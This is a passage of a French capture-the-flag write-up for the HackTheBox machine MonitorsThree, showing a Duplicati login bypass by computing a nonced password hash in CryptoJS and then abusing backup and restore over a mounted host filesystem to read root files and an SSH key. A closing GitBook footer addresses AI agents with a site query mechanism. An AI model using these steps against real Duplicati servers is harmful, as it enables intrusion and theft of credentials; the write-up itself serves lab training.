var noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse('dRRA/DU+SN0RiGJJR+xk3ifqZNFA67+VwTCC1PIK3R0=') + saltedpwd)).toString(CryptoJS.enc.Base64);
```

{% endcode %}

**Affichage du résultat**:

```javascript
console.log(noncedpwd);
```

<figure><img src="/files/ff118c49c70406c1af00fb061634ec8498c50037" alt=""><figcaption></figcaption></figure>

Le mot de passe généré (`noncedpwd`) est :

`bx8guiLaAag+uz6Ud+HRnu9mAb/kmzQB37Ht6e8WisA=`

#### Injection et opération du mot de passe

1. Copiez et collez le mot de passe calculé.
2. Utilisez **Ctrl + U** pour l’encoder en URL.

<figure><img src="/files/0e2bc0a7ca1419ff170e5b808fe1d8c22ad8116c" alt=""><figcaption></figcaption></figure>

3. Cliquez sur **Suivant** à nouveau pour terminer l’opération.

### Lecture des fichiers de sauvegarde Duplicati

<figure><img src="/files/756a46738b8ec78182ff6e540ca080cc51a7bf63" alt=""><figcaption></figcaption></figure>

Maintenant que nous avons accès au **panneau d’administration Duplicati**, nous allons créer une nouvelle sauvegarde dans le but d’exfiltrer la **clé SSH** .

<figure><img src="/files/eed8559f91f1a1455db267187c3ee7b0b71e7946" alt=""><figcaption></figcaption></figure>

**Analyse de la configuration Docker**/ En observant le `docker-compose.yml` fichier, nous constatons que les fichiers sont stockés dans le **source** répertoire du système hôte, monté dans le conteneur.

<figure><img src="/files/585b1ed1d0546218efa1f84dae7d92a4ffdccf6d" alt="" width="541"><figcaption></figcaption></figure>

**Sélection du répertoire cible**/ Pour garantir l’accès aux fichiers sensibles, nous définissons la destination de la **backup** sur ce répertoire en sélectionnant :

* **Fichier source**: `/source/home/marcus/`

<figure><img src="/files/a57520bd6690e928ef7c6e0dc3a05d748a268658" alt="" width="563"><figcaption></figcaption></figure>

* **Données source :** `source/root/`

<figure><img src="/files/6b1d90ececf726ec275e3b9aba18f7043bcdf23b" alt=""><figcaption></figcaption></figure>

**Finalisation de la configuration**

* Enregistrer la configuration.

<figure><img src="/files/148ca8baeea1702ff5cdb83187948ab5819e27b2" alt=""><figcaption></figcaption></figure>

* Exécutez **Enregistrer** pour récupérer les fichiers ciblés.

<figure><img src="/files/563c72cf945d8f2961ca9c6be5935ca393c6189c" alt=""><figcaption></figcaption></figure>

### Extraction des fichiers sauvegardés

Après l’exécution de la **backup**, trois archives ZIP sont générées.

<div data-full-width="true"><figure><img src="/files/4022162515ebabc5da15a6897ddd8221ac2822f0" alt=""><figcaption></figcaption></figure></div>

* **Accès aux fichiers**
  * Une tentative d’ouverture directe des fichiers échoue en raison des restrictions d’accès.
  * Cependant, via **Duplicati**, nous utilisons **Restaurer les fichiers** option de récupérer le contenu.

<figure><img src="/files/cd75104e50e89b3e7e5ab99152f63b482df82eda" alt=""><figcaption></figcaption></figure>

**Restaurer et exfiltrer**

* Extrayez les fichiers de la sauvegarde.

<figure><img src="/files/12947d90888bd0ffb1b9d0e4efdf042c844e1c03" alt=""><figcaption></figcaption></figure>

Sélection du dossier **`/source/home/marcus/`** comme source de restauration.

<figure><img src="/files/8fa8daf7a53e89345f0d8cacf3b328d04f2c9f64" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/d71b1a5a855668ab60b2702a34ceb584319ede70" alt="" width="563"><figcaption></figcaption></figure>

### Drapeau root.txt :)

Après la restauration, nous explorons les fichiers et découvrons **`root.txt`**!

<figure><img src="/files/3c1b1a2600c7107da9b51477513984355cf9a6bd" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/9b402914b0b6767e261d60556e13e907aa9e7d3b" alt="" width="524"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-medium/monitorsthree-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
